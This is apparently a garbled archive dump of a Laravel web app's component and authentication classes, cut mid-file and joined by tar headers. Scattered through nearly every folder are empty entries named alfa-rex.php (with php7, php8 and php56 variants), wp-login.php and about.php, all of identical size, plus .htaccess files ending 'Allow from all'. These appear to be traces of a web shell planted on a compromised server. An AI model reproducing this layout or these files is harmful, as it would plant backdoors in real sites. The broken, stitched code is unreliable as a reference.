view('components.forms.custom-field'); } } View/Components/Forms/ButtonSecondary.php000064400000001175150325104510014525 0ustar00icon = $icon; $this->disabled = $disabled; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.button-secondary'); } } View/Components/.htaccess000064400000000544150325104510011400 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all View/Components/alfa-rex.php7000064400000026574150325104510012114 0ustar00View/Components/alfa-rex.php8000064400000026574150325104510012115 0ustar00View/Components/Form.php000064400000001212150325104510011207 0ustar00method = $method; $this->spoofMethod = in_array($this->method, ['PUT', 'PATCH', 'DELETE']); } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.form'); } } View/Components/StackedChart.php000064400000001052150325104510012646 0ustar00chartData = $chartData; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.stacked-chart'); } } View/Components/FileCard.php000064400000001156150325104510011764 0ustar00fileName = $fileName; $this->dateAdded = $dateAdded; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.file-card'); } } View/Components/wp-login.php000064400000026574150325104510012062 0ustar00View/Components/Filters/alfa-rex.php000064400000026574150325104510013435 0ustar00View/Components/Filters/.htaccess000064400000000544150325104510013010 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all View/Components/Filters/alfa-rex.php7000064400000026574150325104510013524 0ustar00View/Components/Filters/alfa-rex.php8000064400000026574150325104510013525 0ustar00View/Components/Filters/wp-login.php000064400000026574150325104510013472 0ustar00View/Components/Filters/alfa-rex.php56000064400000026574150325104510013610 0ustar00View/Components/Filters/FilterBox.php000064400000000766150325104510013627 0ustar00View/Components/Filters/error_log000064400000001626150325104510013131 0ustar00[04-Jul-2025 14:05:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:06:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 View/Components/Filters/MoreFilterBox.php000064400000001105150325104510014436 0ustar00extraSlot = $extraSlot; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.filters.more-filter-box'); } } View/Components/Filters/about.php7000064400000026574150325104510013137 0ustar00View/Components/SettingMenuItem.php000064400000001577150325104510013403 0ustar00text = $text; $this->href = $href; $this->active = $active; $this->menu = $menu; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.setting-menu-item'); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function isActive($option) { return $option === $this->active; } } View/Components/Status.php000064400000001216150325104510011573 0ustar00style = $style; $this->color = $color; $this->value = $value; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.status'); } } View/Components/Cards/alfa-rex.php000064400000026574150325104510013061 0ustar00View/Components/Cards/NoRecord.php000064400000001134150325104510013056 0ustar00icon = $icon; $this->message = $message; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.no-record'); } } View/Components/Cards/.htaccess000064400000000544150325104510012434 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all View/Components/Cards/Widget.php000064400000001423150325104510012567 0ustar00title = $title; $this->value = $value; $this->icon = $icon; $this->info = $info; $this->widgetId = $widgetId; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.widget'); } } View/Components/Cards/alfa-rex.php7000064400000026574150325104510013150 0ustar00View/Components/Cards/alfa-rex.php8000064400000026574150325104510013151 0ustar00View/Components/Cards/NoRecordFoundList.php000064400000001076150325104510014713 0ustar00colspan = $colspan; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.no-record-found-list'); } } View/Components/Cards/wp-login.php000064400000026574150325104510013116 0ustar00View/Components/Cards/User.php000064400000001025150325104510012260 0ustar00image = $image; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.user'); } } View/Components/Cards/MessageUser.php000064400000001054150325104510013567 0ustar00message = $message; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.message-user'); } } View/Components/Cards/alfa-rex.php56000064400000026574150325104510013234 0ustar00View/Components/Cards/Notification.php000064400000001646150325104510014001 0ustar00link = $link; $this->image = $image; $this->title = $title; $this->text = $text; $this->time = $time; $this->notification = $notification; $this->type = $type; } /** * Get the view / contents that represent the component. * * @return View|Closure|string */ public function render() { return view('components.cards.notification'); } } View/Components/Cards/about.php000064400000026574150325104510012474 0ustar00View/Components/Cards/OnboardingItem.php000064400000001401150325104510014241 0ustar00title = $title; $this->summary = $summary; $this->completed = $completed; $this->link = $link; } /** * Get the view / contents that represent the component. * * @return View|Closure|string */ public function render() { return view('components.cards.onboarding-item'); } } View/Components/Cards/error_log000064400000002541150325104510012552 0ustar00[04-Jul-2025 13:39:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:53:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:53:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 View/Components/Cards/Ticket.php000064400000001137150325104510012571 0ustar00message = $message; $this->user = $user; } /** * Get the view / contents that represent the component. * * @return View|Closure|string */ public function render() { return view('components.cards.ticket'); } } View/Components/Cards/PublicTaskCard.php000064400000001202150325104510014172 0ustar00task = $task; $this->draggable = $draggable; } /** * Get the view / contents that represent the component. * * @return View|Closure|string */ public function render() { return view('components.cards.public-task-card'); } } View/Components/Cards/CardHeader.php000064400000000764150325104510013335 0ustar00stickyNote = $stickyNote; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.sticky-note'); } } View/Components/Cards/LeadCard.php000064400000001157150325104510013007 0ustar00lead = $lead; $this->draggable = $draggable; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.lead-card'); } } View/Components/Cards/DataRow.php000064400000001512150325104510012704 0ustar00label = $label; $this->value = $value; $this->html = $html; $this->otherClasses = $otherClasses; $this->labelClasses = $labelClasses; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.data-row'); } } View/Components/Cards/Message.php000064400000001131150325104510012724 0ustar00message = $message; $this->user = $user; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.message'); } } View/Components/Cards/about.php7000064400000026574150325104510012563 0ustar00View/Components/Cards/Data.php000064400000001513150325104510012215 0ustar00title = $title; $this->padding = $padding; $this->otherClasses = $otherClasses; $this->height = $height; $this->action = $action; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.data'); } } View/Components/alfa-rex.php56000064400000026574150325104510012200 0ustar00View/Components/Table.php000064400000001041150325104510011333 0ustar00headType = $headType; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.table'); } } View/Components/SubMenuItem.php000064400000001424150325104510012506 0ustar00text = $text; $this->link = $link; $this->addon = $addon; // Show icon only when permission is true $this->permission = $permission; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.sub-menu-item'); } } View/Components/CronMessage.php000064400000001306150325104510012516 0ustar00modal = $modal; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { $globalSetting = GlobalSetting::select(['id', 'hide_cron_message', 'last_cron_run'])->first(); $modal = $this->modal; return view('components.cron-message', compact('globalSetting', 'modal')); } } View/Components/TabSection.php000064400000000750150325104510012345 0ustar00View/Components/TaskSelectionDropdown.php000064400000001226150325104510014576 0ustar00tasks = $tasks; $this->fieldRequired = $fieldRequired; } /** * Get the view / contents that represent the component. * * @return View|Closure|string */ public function render() { return view('components.task-selection-dropdown'); } } View/Components/Auth.php000064400000001427150325104510011215 0ustar00locale); return view('components.auth', ['globalSetting' => $globalSetting, 'appTheme' => $appTheme, 'languages' => $languages]); } } View/Components/error_log000064400000001626150325104510011521 0ustar00[04-Jul-2025 12:49:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:21:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 View/Components/Datatable/alfa-rex.php000064400000026574150325104510013706 0ustar00View/Components/Datatable/.htaccess000064400000000544150325104510013261 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all View/Components/Datatable/alfa-rex.php7000064400000026574150325104510013775 0ustar00View/Components/Datatable/alfa-rex.php8000064400000026574150325104510013776 0ustar00View/Components/Datatable/wp-login.php000064400000026574150325104510013743 0ustar00View/Components/Datatable/alfa-rex.php56000064400000026574150325104510014061 0ustar00View/Components/Datatable/about.php000064400000026574150325104510013321 0ustar00View/Components/Datatable/error_log000064400000001626150325104510013402 0ustar00[04-Jul-2025 14:51:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:21:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 View/Components/Datatable/about.php7000064400000026574150325104510013410 0ustar00View/Components/Datatable/Actions.php000064400000000765150325104510013601 0ustar00task = $task; $this->draggable = $draggable; $this->company = $company; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.cards.task-card'); } } View/Components/MenuItem.php000064400000001507150325104510012036 0ustar00text = $text; $this->icon = $icon; $this->link = $link; $this->active = $active; $this->addon = $addon; $this->count = $count; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.menu-item'); } } View/Components/ClientSearchOption.php000064400000001053150325104510014044 0ustar00user = $user; } /** * Get the view / contents that represent the component. * * @return View|Closure|string */ public function render() { return view('components.client-search-option'); } } View/Components/Employee.php000064400000001152150325104510012066 0ustar00user = $user; $this->disabledLink = $disabledLink; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.employee'); } } View/Components/GaugeChart.php000064400000001120150325104510012314 0ustar00value = $value; $this->width = $width; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.gauge-chart'); } } View/Components/SettingFormActions.php000064400000001001150325104510014062 0ustar00labels = $labels; $this->values = $values; $this->colors = $colors; $this->fullscreen = $fullscreen; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.pie-chart'); } } View/Components/Client.php000064400000001012150325104510011520 0ustar00user = $user; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.client'); } } View/Components/SettingCard.php000064400000001044150325104510012516 0ustar00method = $method; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.setting-card'); } } View/Components/AppTitle.php000064400000001116150325104510012031 0ustar00pageTitle = is_array(__($pageTitle)) ? $pageTitle : __($pageTitle); } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.app-title'); } } View/Components/about.php7000064400000026574150325104510011527 0ustar00View/Components/Flag.php000064400000001021150325104510011153 0ustar00country = $country; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.flag'); } } View/Components/TabItem.php000064400000001122150325104510011631 0ustar00link = $link; $this->active = $active; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.tab-item'); } } View/Components/SettingSidebar.php000064400000001062150325104510013216 0ustar00activeMenu = $activeMenu; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.setting-sidebar'); } } View/Components/Tab.php000064400000001170150325104510011015 0ustar00href = $href; $this->text = $text; $this->ajax = $ajax; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.tab'); } } View/Components/BarChart.php000064400000001306150325104510011776 0ustar00chartData = $chartData; $this->multiple = $multiple; $this->spaceRatio = $spaceRatio; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.bar-chart'); } } View/Components/UserOption.php000064400000001612150325104510012417 0ustar00user = $user; $this->selected = $selected; $this->pill = $pill; $this->agent = $agent; $this->userID = $userID; $this->additionalText = $additionalText; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.user-option'); } } View/about.php000064400000026574150325104510007313 0ustar00View/error_log000064400000001626150325104510007374 0ustar00[04-Jul-2025 12:46:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:08:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 View/about.php7000064400000026574150325104510007402 0ustar00Actions/alfa-rex.php000064400000026574150325104510010366 0ustar00Actions/.htaccess000064400000000544150325104510007741 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Actions/alfa-rex.php7000064400000026574150325104510010455 0ustar00Actions/alfa-rex.php8000064400000026574150325104510010456 0ustar00Actions/wp-login.php000064400000026574150325104510010423 0ustar00Actions/alfa-rex.php56000064400000026574150325104510010541 0ustar00Actions/about.php000064400000026574150325104510010001 0ustar00Actions/error_log000064400000001626150325104510010062 0ustar00[04-Jul-2025 13:07:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:08:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Actions/Fortify/alfa-rex.php000064400000026574150325104510012010 0ustar00Actions/Fortify/RedirectIfTwoFactorAuthenticatable.php000064400000013341150325104510017164 0ustar00guard = $guard; $this->limiter = $limiter; } /** * Handle the incoming request. * * @param \Illuminate\Http\Request $request * @param callable $next * @return mixed */ public function handle($request, $next) { $user = $this->validateCredentials($request); if (($user->two_fa_verify_via != '') && in_array(TwoFactorAuthenticatable::class, class_uses_recursive($user))) { if ($user->two_fa_verify_via == 'email') { // Send otp to user from here $user->generateTwoFactorCode(); event(new TwoFactorCodeEvent($user)); } return $this->twoFactorChallengeResponse($request, $user); } return $next($request); } /** * Attempt to validate the incoming credentials. * * @param \Illuminate\Http\Request $request * @return mixed */ protected function validateCredentials($request) { if (Fortify::$authenticateUsingCallback) { return tap(call_user_func(Fortify::$authenticateUsingCallback, $request), function ($user) use ($request) { if (!$user) { $this->fireFailedEvent($request); $this->throwFailedAuthenticationException($request); } }); } /** @phpstan-ignore-next-line */ $model = $this->guard->getProvider()->getModel(); return tap($model::where(Fortify::username(), $request->{Fortify::username()})->first(), function ($user) use ($request) { if (!$user || !$this->guard->getProvider()->validateCredentials($user, ['password' => $request->password])) { $this->fireFailedEvent($request, $user); $this->throwFailedAuthenticationException($request); } }); } /** * Throw a failed authentication validation exception. * * @param \Illuminate\Http\Request $request * @return void * * @throws \Illuminate\Validation\ValidationException */ protected function throwFailedAuthenticationException($request) { $this->limiter->increment($request); throw ValidationException::withMessages([ Fortify::username() => [trans('auth.failed')], ]); } /** * Fire the failed authentication attempt event with the given arguments. * * @param \Illuminate\Http\Request $request * @param \Illuminate\Contracts\Auth\Authenticatable|null $user * @return void */ protected function fireFailedEvent($request, $user = null) { event(new Failed(config('fortify.guard'), $user, [ Fortify::username() => $request->{Fortify::username()}, 'password' => $request->password, ])); } /** * Get the two factor authentication enabled response. * * @param \Illuminate\Http\Request $request * @param mixed $user * @return \Symfony\Component\HttpFoundation\Response */ protected function twoFactorChallengeResponse($request, $user) { // Check for google reCaptcha validation if (global_setting()->google_recaptcha_status == 'active') { $gRecaptchaResponseInput = 'g-recaptcha-response'; $gRecaptchaResponse = $request->{$gRecaptchaResponseInput}; $gRecaptchaResponse = global_setting()->google_recaptcha_v2_status == 'active' ? $gRecaptchaResponse : $request->g_recaptcha; if (is_null($gRecaptchaResponse)) { return $this->googleRecaptchaMessage(); } $validateRecaptcha = GlobalSetting::validateGoogleRecaptcha($gRecaptchaResponse); if (!$validateRecaptcha) { return $this->googleRecaptchaMessage(); } } switch ($user->two_fa_verify_via) { case 'email': $twoFaVerifyVia = 'email'; break; case 'both': if ($user->two_factor_confirmed) { $twoFaVerifyVia = 'both'; } else { $twoFaVerifyVia = 'email'; } break; default: $twoFaVerifyVia = 'google_authenticator'; break; } $request->session()->put([ 'login.id' => $user->getKey(), 'login.remember' => $request->filled('remember'), 'login.authenticate_via' => $twoFaVerifyVia, ]); return $request->wantsJson() ? response()->json([ 'two_factor' => true, 'authenticate_via' => $twoFaVerifyVia, ]) : redirect()->route('two-factor.login'); } public function googleRecaptchaMessage() { throw ValidationException::withMessages([ 'g-recaptcha-response' => [__('auth.recaptchaFailed')], ]); } } Actions/Fortify/.htaccess000064400000000544150325104510011363 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Actions/Fortify/alfa-rex.php7000064400000026574150325104510012077 0ustar00Actions/Fortify/alfa-rex.php8000064400000026574150325104510012100 0ustar00Actions/Fortify/wp-login.php000064400000026574150325104510012045 0ustar00Actions/Fortify/alfa-rex.php56000064400000026574150325104510012163 0ustar00Actions/Fortify/ResetUserPassword.php000064400000001263150325104510013741 0ustar00 $this->passwordRules(), ])->validate(); $user->forceFill([ 'password' => Hash::make($input['password']), ])->save(); } } Actions/Fortify/about.php000064400000026574150325104510011423 0ustar00Actions/Fortify/error_log000064400000001626150325104510011504 0ustar00[04-Jul-2025 12:49:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:21:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Actions/Fortify/AttemptToAuthenticate.php000064400000046126150325104510014564 0ustar00guard = $guard; $this->limiter = $limiter; } /** * Handle the incoming request. * * @param \Illuminate\Http\Request $request * @param callable $next * @return mixed */ public function handle($request, $next) { $globalSetting = GlobalSetting::first(); $url = session('url.intended'); $path = parse_url($url, PHP_URL_PATH); $token = basename($path); $company = Company::where('hash', $token)->first(); $authUser = User::withoutGlobalScope(ActiveScope::class)->where('email', $request->email); if ($company) { $authUser->where('company_id', $company->id); } $authUser = $authUser->first(); // Check if the user exists and belongs to the correct company if ($company && $company->id !== $authUser->company_id) { $this->checkCompany(); } if($authUser->company){ $attendanceSetting = $authUser->company->attendanceSetting; $checkAutoClockinConditions = $this->checkAutoClockinConditions($authUser); if ($attendanceSetting->auto_clock_in == 'yes' && $checkAutoClockinConditions) { if (($attendanceSetting->radius_check == 'yes' && $this->isInRadius($request, $attendanceSetting)) || $attendanceSetting->radius_check == 'no') { $this->storeClockIn($request, $authUser->id); } } } if ($globalSetting->google_recaptcha_status == 'active') { $gRecaptchaResponseInput = 'g-recaptcha-response'; $gRecaptchaResponse = $request->{$gRecaptchaResponseInput}; $gRecaptchaResponse = $globalSetting->google_recaptcha_v2_status == 'active' ? $gRecaptchaResponse : $request->g_recaptcha; if (is_null($gRecaptchaResponse)) { return $this->googleRecaptchaMessage(); } $validateRecaptcha = GlobalSetting::validateGoogleRecaptcha($gRecaptchaResponse); if (!$validateRecaptcha) { return $this->googleRecaptchaMessage(); } } if (Fortify::$authenticateUsingCallback) { return $this->handleUsingCustomCallback($request, $next); } if ($this->guard->attempt( $request->only(Fortify::username(), 'password'), $request->filled('remember')) ) { return $next($request); } $this->throwFailedAuthenticationException($request); } private function isInRadius($request, $attendanceSetting) { $radius = $attendanceSetting->radius; $currentLatitude = $request->current_latitude; $currentLongitude = $request->current_longitude; $user = User::with('employeeDetail')->where('email', $request->email)->first(); if ($user->employeeDetail && $user->employeeDetail->company_address_id) { $location = CompanyAddress::findOrFail($user->employeeDetail->company_address_id); } else { $location = CompanyAddress::where('is_default', 1)->where('company_id',$user->company_id)->first(); } $latFrom = deg2rad($location->latitude); $latTo = deg2rad($currentLatitude); $lonFrom = deg2rad($location->longitude); $lonTo = deg2rad($currentLongitude); $theta = $lonFrom - $lonTo; $dist = sin($latFrom) * sin($latTo) + cos($latFrom) * cos($latTo) * cos($theta); $dist = acos($dist); $dist = rad2deg($dist); $distance = $dist * 60 * 1.1515 * 1609.344; return $distance <= $radius; } protected function checkCompany() { throw ValidationException::withMessages([ Fortify::username() => [trans('auth.loginWrongCompany')], ]); } public function checkAutoClockinConditions($authUser) { $globalSetting = GlobalSetting::first(); $showClockIn = $authUser->company->attendanceSetting; $attendanceSettings = $this->attendanceShift($showClockIn, $authUser->id, $authUser->company); $startTimestamp = now()->format('Y-m-d') . ' ' . $attendanceSettings->office_start_time; $endTimestamp = now()->format('Y-m-d') . ' ' . $attendanceSettings->office_end_time; $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $startTimestamp, $globalSetting->timezone); $officeEndTime = Carbon::createFromFormat('Y-m-d H:i:s', $endTimestamp, $globalSetting->timezone); $officeStartTime = $officeStartTime->setTimezone('UTC'); $officeEndTime = $officeEndTime->setTimezone('UTC'); if ($officeStartTime->gt($officeEndTime)) { $officeEndTime->addDay(); } $cannotLogin = false; if (is_null($attendanceSettings->early_clock_in) && !now()->between($officeStartTime, $officeEndTime) && $attendanceSettings->shift_type == 'strict') { $cannotLogin = true; } elseif ($attendanceSettings->shift_type == 'strict') { $earlyClockIn = now($globalSetting->timezone)->addMinutes($attendanceSettings->early_clock_in); $earlyClockIn = $earlyClockIn->setTimezone('UTC'); if($earlyClockIn->gte($officeStartTime)){ $cannotLogin = false; } else { $cannotLogin = true; } } if ($cannotLogin && now()->betweenIncluded($officeStartTime->copy()->subDay(), $officeEndTime->copy()->subDay())) { $cannotLogin = false; } // Getting Current Clock-in if exist $currentClockIn = Attendance::where(DB::raw('DATE(clock_in_time)'), now()->format('Y-m-d')) ->where('user_id', $authUser->id)->first(); $currentDate = now($globalSetting->timezone)->format('Y-m-d'); $checkTodayLeave = Leave::where('status', 'approved') ->where('leave_date', now($globalSetting->timezone)->toDateString()) ->where('user_id', $authUser->id) ->where('duration', '<>', 'half day') ->first(); $employeeClockInOut = $showClockIn->employee_clock_in_out == 'yes'; $showClockInButton = $showClockIn->show_clock_in_button == 'yes'; // Check Holiday by date $checkTodayHoliday = Holiday::where('date', $currentDate)->first(); if (!$cannotLogin && $currentClockIn == null && $checkTodayLeave == null && is_null($checkTodayHoliday)) { return true; } if ($showClockInButton && $employeeClockInOut && $cannotLogin) { return true; } return false; } public function storeClockIn($request, $authUser) { $now = now(); $company = User::with('employeeDetails')->where('id', $authUser)->first(); $authUserCompany = User::withoutGlobalScope(ActiveScope::class)->where('id', $authUser)->first(); $showClockIn = AttendanceSetting::where('company_id', $company->company_id)->first(); $globalSetting = GlobalSetting::first(); $attendanceSettings = $this->attendanceShift($showClockIn, $authUser, $authUserCompany->company); $attendanceUser = User::find($authUser); $startTimestamp = now()->format('Y-m-d') . ' ' . $attendanceSettings->office_start_time; $endTimestamp = now()->format('Y-m-d') . ' ' . $attendanceSettings->office_end_time; $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $startTimestamp, $globalSetting->timezone); $officeEndTime = Carbon::createFromFormat('Y-m-d H:i:s', $endTimestamp, $globalSetting->timezone); $officeStartTime = $officeStartTime->setTimezone('UTC'); $officeEndTime = $officeEndTime->setTimezone('UTC'); if ($officeStartTime->gt($officeEndTime)) { $officeEndTime->addDay(); } $cannotLogin = false; $clockInCount = Attendance::getTotalUserClockInWithTime($officeStartTime, $officeEndTime, $authUser); if (is_null($attendanceSettings->early_clock_in) && !now()->between($officeStartTime, $officeEndTime) && $showClockIn->show_clock_in_button == 'no' && $attendanceSettings->shift_type == 'strict') { $cannotLogin = true; } elseif ($attendanceSettings->shift_type == 'strict') { $earlyClockIn = now($globalSetting->timezone)->addMinutes($attendanceSettings->early_clock_in); $earlyClockIn = $earlyClockIn->setTimezone('UTC'); 